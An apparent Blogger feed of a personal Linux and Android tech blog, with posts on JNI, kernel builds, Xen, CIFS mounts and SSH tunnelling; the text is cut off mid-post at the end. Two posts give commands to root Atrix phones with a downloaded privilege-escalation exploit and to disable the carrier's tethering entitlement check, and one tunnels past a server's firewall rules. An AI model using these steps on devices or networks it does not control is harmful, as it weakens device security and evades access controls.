<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7298503429171442582</id><updated>2012-02-08T13:45:48.036-08:00</updated><category term='JNI C CPP java'/><title type='text'>Technical Blog of Jian Wang</title><subtitle type='html'>System area, algorithms, program language, C/C++</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>48</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-6541822586739263498</id><published>2012-02-08T13:45:00.000-08:00</published><updated>2012-02-08T13:45:48.044-08:00</updated><title type='text'>SUNRPC example</title><content type='html'>http://www.cs.rutgers.edu/~pxk/rutgers/notes/rpc/&lt;br /&gt;&lt;br /&gt;Make sure go to step 5/6 to follow the example and then read through.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-6541822586739263498?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/6541822586739263498/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2012/02/sunrpc-example.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/6541822586739263498'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/6541822586739263498'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2012/02/sunrpc-example.html' title='SUNRPC example'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-5075500023627339297</id><published>2012-02-02T08:26:00.000-08:00</published><updated>2012-02-02T08:26:34.826-08:00</updated><title type='text'>vsphere esx  port  forwarding on Windows</title><content type='html'>Suppose I want to have console view of my VMs, suppose server address is  15.226.49.40:902(default console port) &lt;br /&gt;but my windows ip address is 15.116.*.*, the firewall rules of the Esx&lt;br /&gt;server prevent my connection.&lt;br /&gt;&lt;br /&gt;In this case I have to do the following in order to dig tunnel to avoid the firewall rules:&lt;br /&gt;1. putty set up a new ssh session&lt;br /&gt; 15.226.49.40:22&lt;br /&gt;&lt;br /&gt;2. portforwarding set&lt;br /&gt;L902 15.226.49.40:902 &lt;br /&gt;L443 15.226.49.40:443 &lt;br /&gt;the reason for 443, is because vsphere use 443 port to let client to login&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. modify &lt;br /&gt;C:Windows\System32\drivers\etc\hosts&lt;br /&gt;Add line:&lt;br /&gt;127.0.0.1 esx&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now open vsphere client:&lt;br /&gt;open the address: esx&lt;br /&gt;instead of the actual server 15.226.49.40&lt;br /&gt;&lt;br /&gt;And now you can connect vm console freely.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-5075500023627339297?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/5075500023627339297/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2012/02/vsphere-esx-port-forwarding-on-windows.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5075500023627339297'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5075500023627339297'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2012/02/vsphere-esx-port-forwarding-on-windows.html' title='vsphere esx  port  forwarding on Windows'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-3610366748735800398</id><published>2012-01-30T07:31:00.000-08:00</published><updated>2012-01-30T07:31:09.371-08:00</updated><title type='text'>Linux x86_64 Firefox or Chome</title><content type='html'>I am a firefox fan, have been using it ever since its initial release.&lt;br /&gt;&lt;br /&gt;But have to admit firefox doesn't work well on x86_64 linux platform.&lt;br /&gt;I have a HP workstation z600 which has 12core/12G memory, but firefox&lt;br /&gt; failed to response to a lot of website  in a timely manner.&lt;br /&gt;&lt;br /&gt;Just tried chrome x86_64 on my desktop, much better, strongly recommend.&lt;br /&gt;&lt;br /&gt;http://www.tejasbarot.com/2011/03/20/howto-installing-google-chrome-on-rhel-6-red-hat-enterprise-linux-6-32bit-64bi/&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-3610366748735800398?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/3610366748735800398/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2012/01/linux-x8664-firefox-or-chome.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/3610366748735800398'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/3610366748735800398'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2012/01/linux-x8664-firefox-or-chome.html' title='Linux x86_64 Firefox or Chome'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-5030973700498224326</id><published>2012-01-09T08:31:00.001-08:00</published><updated>2012-01-09T08:31:20.757-08:00</updated><title type='text'>How to mount windows share folder</title><content type='html'>sudo mount -t cifs //192.168.152.132/share/ /mnt/local/  -o username="Jian Wang"&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-5030973700498224326?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/5030973700498224326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2012/01/how-to-mount-windows-share-folder.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5030973700498224326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5030973700498224326'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2012/01/how-to-mount-windows-share-folder.html' title='How to mount windows share folder'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-8390797809210616379</id><published>2012-01-07T21:12:00.000-08:00</published><updated>2012-01-07T21:12:29.306-08:00</updated><title type='text'>Ubuntu add ppstream support</title><content type='html'>My ubuntu is 11.10 oneiric &lt;br /&gt;&lt;br /&gt;1. &lt;br /&gt;sudo apt-get install libqt4-core libqt4-dbus libqt4-gui libqt4-&lt;br /&gt;network libqt4-webkit libqt4-xml libfuse2 mplayer&lt;br /&gt;&lt;br /&gt;download pps.deb file &lt;br /&gt;http://wowubuntu.com/pps.html?utm_source=twitterfeed&amp;utm_medium&lt;br /&gt;&lt;br /&gt;dpkg -i pps.deb&lt;br /&gt;&lt;br /&gt;No sound&lt;br /&gt;tools-&gt;options-&gt; sound device choose alsa-pci(2nd one) for my specific hardware, HP 8540w laptop.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. Use totem plugin:&lt;br /&gt;@wnh3yang: totem-pps was renamed to totem-plugin-pps and is only available for Natty (11.04) at the moment. &lt;br /&gt;vi /etc/apt/sources.list&lt;br /&gt;&lt;br /&gt;deb http://ppa.launchpad.net/portis25/cnav/ubuntu natty main&lt;br /&gt;deb-src http://ppa.launchpad.net/portis25/cnav/ubuntu natty main&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-8390797809210616379?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/8390797809210616379/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2012/01/ubuntu-add-ppstream-support.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8390797809210616379'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8390797809210616379'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2012/01/ubuntu-add-ppstream-support.html' title='Ubuntu add ppstream support'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-8764426835177274093</id><published>2011-11-16T12:30:00.000-08:00</published><updated>2011-11-16T12:31:40.787-08:00</updated><title type='text'>How to root Atrix 4G</title><content type='html'>Get root img and fastboot from:&lt;br /&gt;http://briefmobile.com/motorola-atrix-4g-root&lt;br /&gt;&lt;br /&gt;How to enter fastboot mode:&lt;br /&gt;Turn off your device. – Hold down the power button and downward volume button until you see “Fastboot” on your screen – Push the upward volume button&lt;br /&gt;&lt;br /&gt;On fastboot binary file on linux is in: $BSP/out/host/linux-x86/bin/fastboot&lt;br /&gt;&lt;br /&gt;How to Root:&lt;br /&gt;fastboot flash preinstall root.img&lt;br /&gt;fastboot reboot&lt;br /&gt;Enable USB debugging (Settings &gt;&gt; Applications &gt;&gt; Debugging)&lt;br /&gt;Type the following commands&lt;br /&gt;adb shell&lt;br /&gt;$/preinstall/dosu&lt;br /&gt;Type the following commands&lt;br /&gt;#/bin/mount /system -o remount,rw&lt;br /&gt;#cp /preinstall/su /system/bin/su&lt;br /&gt;#chmod 6755 /system/bin/su&lt;br /&gt;#PATH=/system/bin:$PATH pm install -r /preinstall/Superuser.apk&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Enable Tethering on 4.5.91&lt;br /&gt;Others the same as Atrix 2 &lt;br /&gt;4. go to Line 118 labled Entitlement Check with a value of 1 &lt;br /&gt;5. Change value from 1 to "disabled" (without quotes)&lt;br /&gt;6. reboot&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-8764426835177274093?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/8764426835177274093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/11/how-to-root-atrix-4g.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8764426835177274093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/8764426835177274093'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/11/how-to-root-atrix-4g.html' title='How to root Atrix 4G'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-4962950201708874702</id><published>2011-11-14T17:53:00.000-08:00</published><updated>2011-11-14T17:53:08.735-08:00</updated><title type='text'>How to Root Atrix 2 and get Free Wifi Hotspot</title><content type='html'>Works like a charm on my new Atrix 2.&lt;br /&gt;&lt;br /&gt;Download Exploit.zip from:&lt;br /&gt;http://forum.xda-developers.com/attachment.php?attachmentid=767&lt;br /&gt;&lt;br /&gt;///////////////////////////////////////////&lt;br /&gt;* Root *&lt;br /&gt;&lt;br /&gt;adb push zerg /data/local&lt;br /&gt;adb push su /data/local&lt;br /&gt;adb push Superuser.apk /data/local&lt;br /&gt;adb shell&lt;br /&gt;cd /data/local&lt;br /&gt;chmod 777 zerg&lt;br /&gt;./zerg&lt;br /&gt;Wait as root access is gained.&lt;br /&gt;Now type in the following commands:&lt;br /&gt;adb shell&lt;br /&gt;mount -o rw,remount /dev/null /system&lt;br /&gt;cat /data/local/su &gt; /system/bin/su&lt;br /&gt;cat /data/local/Superuser.apk &gt; /system/app/Superuser.apk&lt;br /&gt;chmod 4755 /system/bin/su&lt;br /&gt;chmod 4755 /system/app/Superuser.apk&lt;br /&gt;reboot&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;////////////////////Wifi Hotspot///////////////&lt;br /&gt;* prerequisites*&lt;br /&gt;1. Root&lt;br /&gt;2. SQlite editor from market&lt;br /&gt;market charges for it. Just google "SQlite editor apk"&lt;br /&gt;you can download and direct install it via&lt;br /&gt;&lt;br /&gt;adb install SQlite_Editor.apk&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*Steps to use editor*&lt;br /&gt;&lt;br /&gt;1. open SQlite editor and scroll to Settings Storage (com.motorola.android.&lt;br /&gt;provider.settings&lt;br /&gt;2. click settings.db&lt;br /&gt;3. click settings&lt;br /&gt;4. Line 148 it should say Entitlement Check On the Atrix 2&lt;br /&gt;Changing the entitlement_check line to 0 instead of  to get it working&lt;br /&gt;5. reboot&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-4962950201708874702?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/4962950201708874702/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/11/how-to-root-atrix-2-and-get-free-wifi.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4962950201708874702'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/4962950201708874702'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/11/how-to-root-atrix-2-and-get-free-wifi.html' title='How to Root Atrix 2 and get Free Wifi Hotspot'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-3148143206960889404</id><published>2011-10-28T07:25:00.000-07:00</published><updated>2011-10-28T07:25:32.418-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='JNI C CPP java'/><title type='text'>JNI c/cpp call java function or get value</title><content type='html'>Call JNI int func(void):&lt;br /&gt; jobject getIden = env-&gt;GetMethodID(surfaceClass, "getIdentity",       "()I");&lt;br /&gt; jint iden  =     env-&gt;CallIntMethod(surface, getIden);&lt;br /&gt; LOGD("jianwang --------getSurface identity =%d\n", (int)iden);&lt;br /&gt;&lt;br /&gt;Get string:&lt;br /&gt;&lt;br /&gt; jfieldID  jfd = env-&gt;GetFieldID(surfaceClass, "mName", "Ljava/lang/String;");&lt;br /&gt; jstring jstr  = (jstring)env-&gt;GetObjectField(surface, jfd);&lt;br /&gt; if (jstr) {&lt;br /&gt;  const char* icount = env-&gt;GetStringUTFChars(jstr, 0);&lt;br /&gt;  LOGD("jianwang --------getSurface icount=%s\n", icount);&lt;br /&gt;  env-&gt;ReleaseStringUTFChars(jstr, icount);&lt;br /&gt; } else&lt;br /&gt;  LOGD("jianwang -------- jstr == NULL \n");&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Get static int:&lt;br /&gt;&lt;br /&gt; gSurfaceJavaGlue.count   = env-&gt;GetStaticFieldID(surfaceClass, "GPU", "I");&lt;br /&gt; jint icount = env-&gt;GetStaticIntField(surfaceClass, gSurfaceJavaGlue.count);&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-3148143206960889404?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/3148143206960889404/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/10/jni-ccpp-call-java-function-or-get.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/3148143206960889404'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/3148143206960889404'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/10/jni-ccpp-call-java-function-or-get.html' title='JNI c/cpp call java function or get value'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-5741960025745476689</id><published>2011-09-01T16:33:00.000-07:00</published><updated>2011-09-01T16:35:37.263-07:00</updated><title type='text'>Autobuild script</title><content type='html'>Put the following script in crontab&lt;br /&gt;crontab -e &lt;br /&gt;&lt;br /&gt;*/10 *  * * *  ~/autobuild&lt;br /&gt;&lt;br /&gt;crontab -l &lt;br /&gt;&lt;br /&gt;should see the added task&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;!/bin/bash&lt;br /&gt;#If the startbuild file is changed within 300 seconds, &lt;br /&gt;#We will start build flashplayer automatically&lt;br /&gt;&lt;br /&gt;#The threshold time that file is modified, we will build&lt;br /&gt;TIME=300&lt;br /&gt;FILE="startbuild"&lt;br /&gt;DATE=(`stat -c %y $FILE| cut -d ' ' -f1`)&lt;br /&gt;#DATE=(`stat -c %y $FILE| awk '{printf $1}')&lt;br /&gt;&lt;br /&gt;LOG="/tmp/$FILE$DATE.log"&lt;br /&gt;LOCK="/tmp/lockfile"&lt;br /&gt;t1=(`stat -c %Y $FILE`)&lt;br /&gt;t2=(`date +%s`)&lt;br /&gt;gap=$(($t2-$t1))&lt;br /&gt;&lt;br /&gt;function buildfp() {&lt;br /&gt;	touch $LOCK&lt;br /&gt;	cd /jian/koobe&lt;br /&gt;	. build/envsetup.sh &lt;br /&gt;	chooseproduct VTAB1008&lt;br /&gt;	cd $1/flash/code/products/player/android&lt;br /&gt;	make TARGET_ARCH=ARMV7-A MAKECMDGOALS=release DISABLE_UYVY422_BUFFER=1   USE_AAC_SWCODEC=1  &gt;&gt; $LOG&lt;br /&gt;	cp  $1/flash/code/build/android/results/plugin/ARMV7-A/Release/install_flash_player.apk $2&lt;br /&gt;	rm $LOCK&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;#create log file if it doesn't exist&lt;br /&gt;if [ ! -f $LOG ]; then&lt;br /&gt;	touch $LOG&lt;br /&gt;fi&lt;br /&gt;&lt;br /&gt;if [ $gap -lt $TIME ]; then&lt;br /&gt;	if [ -f $LOCK ]; then &lt;br /&gt;		echo "Another autobuild job is running, skip" &gt; $LOG&lt;br /&gt;	else&lt;br /&gt;		echo "File have been modified in $gap seconds, so start building..." &gt;$LOG&lt;br /&gt;		buildfp /jian/FP103 /tmp&lt;br /&gt;		echo "Finish build!!!" &gt;&gt; $LOG;&lt;br /&gt;	fi&lt;br /&gt;else&lt;br /&gt;	echo "File modified $gap seconds ago, do nothing" &gt; $LOG;&lt;br /&gt;fi&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-5741960025745476689?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/5741960025745476689/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/09/autobuild-script.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5741960025745476689'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/5741960025745476689'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/09/autobuild-script.html' title='Autobuild script'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-6674985308675154047</id><published>2011-07-11T20:37:00.000-07:00</published><updated>2011-07-11T20:37:42.508-07:00</updated><title type='text'>How to install linux kernel in Ubuntu 10/11</title><content type='html'>Open a terminal and type the following,&lt;br /&gt;&lt;br /&gt;    sudo apt-get install fakeroot kernel-wedge build-essential makedumpfile kernel-package libncurses5 libncurses5-dev&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then run the following command,&lt;br /&gt;&lt;br /&gt;    sudo apt-get build-dep --no-install-recommends linux-image-$(uname -r)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;And finally type,&lt;br /&gt;&lt;br /&gt;    mkdir ~/src&lt;br /&gt;    cd ~/src&lt;br /&gt;    apt-get source linux-image-$(uname -r)&lt;br /&gt;    cd linux-2.6.32&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;At the time of writing 2.6.32 was the current kernel source, it should remain at this version throughout the life of Ubuntu 10.04&lt;br /&gt;&lt;br /&gt;It is a good idea to start with the same .config as the currently running kernel, so type the following,&lt;br /&gt;&lt;br /&gt;    cp -vi /boot/config-`uname -r` .config&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now we are ready to customize the build and kernel options.&lt;br /&gt;&lt;br /&gt;    make menuconfig&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Once you have finished, save and exit. It is now time to compile. However to speed up the build if you have a dual core processor type,&lt;br /&gt;&lt;br /&gt;    export CONCURRENCY_LEVEL=3&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The general rule is 1 + the number of processor cores.&lt;br /&gt;&lt;br /&gt;    make-kpkg clean&lt;br /&gt;    fakeroot make-kpkg --initrd --append-to-version=-jian kernel-image kernel-headers&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;After a few minutes or hours your kernel compile will be complete. The next step is to install it.&lt;br /&gt;&lt;br /&gt;The kernel package will be created in the parent directory of ~/src/linux-2.6.32 (i.e. ~/src)&lt;br /&gt;&lt;br /&gt;    cd ~/src&lt;br /&gt;    sudo dpkg -i linux-image...deb&lt;br /&gt;    sudo dpkg -i linux-headers-2.6.38Custom_amd32.deb&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;We are almost ready, prior to 10.04 the initramfs kernel image was automatically created. The Ubuntu wiki suggests using the scripts to create the image but I have been unsuccessful in using this method, hence the manual approach.&lt;br /&gt;&lt;br /&gt;    sudo update-initramfs -c -k all &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BUG:  Please use the alternate method described below as this command fails to create an image for your new kernel. Special thanks to Helios38. - 16/06/2010&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Alternatively if you know the kernel version, substitute the word all with the kernel version.&lt;br /&gt;&lt;br /&gt;    Example, sudo update-initramfs -c -k 2.6.38.7&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Finally we need to add the initramfs image to the grub.cfg file located at /boot/grub/grub.cfg.&lt;br /&gt;&lt;br /&gt;For the easy and automatic method as oppose to manually editing the grub.cfg file, just type the following,&lt;br /&gt;&lt;br /&gt;    sudo update-grub&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Now just reboot and your new kernel should automatically load.&lt;br /&gt;&lt;br /&gt;How to remove your  kernel&lt;br /&gt;&lt;br /&gt;    sudo dpkg -r linux-headers-...&lt;br /&gt;    sudo dpkg -r linux-image-...&lt;br /&gt;    sudo rm /boot/initrd.img-...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7298503429171442582-6674985308675154047?l=jwang3417.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jwang3417.blogspot.com/feeds/6674985308675154047/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jwang3417.blogspot.com/2011/07/how-to-install-linux-kernel-in-ubuntu.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/6674985308675154047'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7298503429171442582/posts/default/6674985308675154047'/><link rel='alternate' type='text/html' href='http://jwang3417.blogspot.com/2011/07/how-to-install-linux-kernel-in-ubuntu.html' title='How to install linux kernel in Ubuntu 10/11'/><author><name>Jian</name><uri>http://www.blogger.com/profile/03462330869699584064</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7298503429171442582.post-3782858519971223410</id><published>2011-06-16T20:04:00.000-07:00</published><updated>2011-06-16T20:31:22.494-07:00</updated><title type='text'>Install Xen3.3.0 on VMware workstation 7.1</title><content type='html'>When testing my new xen hypervisor scheduling algorighm, I often got hang issues when debugging.&lt;br /&gt;Then I am thinking: why not install hypervisor on vmware workstation.&lt;br /&gt;&lt;br /&gt;Several steps:&lt;br /&gt;&lt;br /&gt;1. Install workstation&lt;br /&gt;&lt;br /&gt;2. Create Vmware guest using ubuntu 8.0.4(hardy)  iso images&lt;br /&gt;&lt;br /&gt;3. boot up guest, under the guest os, download xen3.3.0 source code&lt;br /&gt;&lt;br /&gt;4. make world; make install(need to install a lot of tools before this)&lt;br /&gt;apt-get install bcc bin86 gawk bridge-utils iproute libcurl3 libcurl4-openssl-dev bzip2 module-init-tools transfig tgif texinfo pciutils-dev mercurial build-essential make gcc libc6-dev zlib1g-dev python python-dev python-twisted libncurs&lt;br /&gt;es5-dev patch libvncserver-dev libsdl-dev libjpeg62-dev&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. using mkinitramfs to create init fs&lt;br /&gt;&lt;br /&gt;# depmod 2.6.18.8-xen&lt;br /&gt;# mkinitramfs -o initrd-2.6.18.8-xen.img 2.6.18.8-xen&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6 Add&lt;br /&gt;title           xen 3.3&lt;br /&gt;root            (hd0,0)&lt;br /&gt;kernel          /boot/xen-3.3.0.gz&lt;br /&gt;#module         /boot/vmlinuz-2.6.18.8-xen root=UUID=79cf418b-8975-4041-8d74-345f5728b363 ro quiet splash console=tty0&lt;br /&gt;module          /boot/vmlinuz-2.6.18.8-xen root=/dev/sda1 ro quiet splash console=tty0&lt;br /&gt;module          /boot/initrd.img-2.6.18.8-xen&lt;br /&gt;&lt;br /&gt;to /boot/grub/menu.lst&lt;br /&gt;&lt;br /&gt;7. Boot up Xen&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8. apt-get install xen-tools&lt;br /&gt;modify /etc/xen-tools/xen-tools.conf&lt;br /&gt;choose lenny, and other adjustments you want.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9. sudo xen-create-image  --ip 192.168.92.3 --hostname=vm0&lt;br /&gt;&lt;br /&gt;10. sudo xm create -c vm0.cfg&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;most likely guest stuck at crond, add "xencons=tty" in /home/xen/vm0.cfg at 